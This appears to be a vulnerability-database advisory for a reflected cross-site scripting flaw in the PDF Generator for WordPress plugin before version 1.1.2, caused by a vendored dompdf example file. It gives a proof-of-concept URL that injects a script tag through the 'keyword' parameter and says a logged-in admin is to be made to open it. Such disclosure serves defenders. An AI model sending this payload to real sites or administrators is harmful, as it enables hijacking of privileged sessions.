PDF Generator for WordPress < 1.1.2 - Reflected XSS

2023-01-1600:00:00

cydave

pdf generator

wordpress

reflected xss

logged in admin

url exploit

dompdf.

0.001 Low

EPSS

Percentile

46.5%

JSON

The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin

Make a logged in admin open the following URL:

https://example.com/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(`xss`)</script>

0.001 Low

EPSS

Percentile

46.5%

JSON

Related for WPEX-ID:6AC1259C-86D9-428B-BA98-7F3D07910644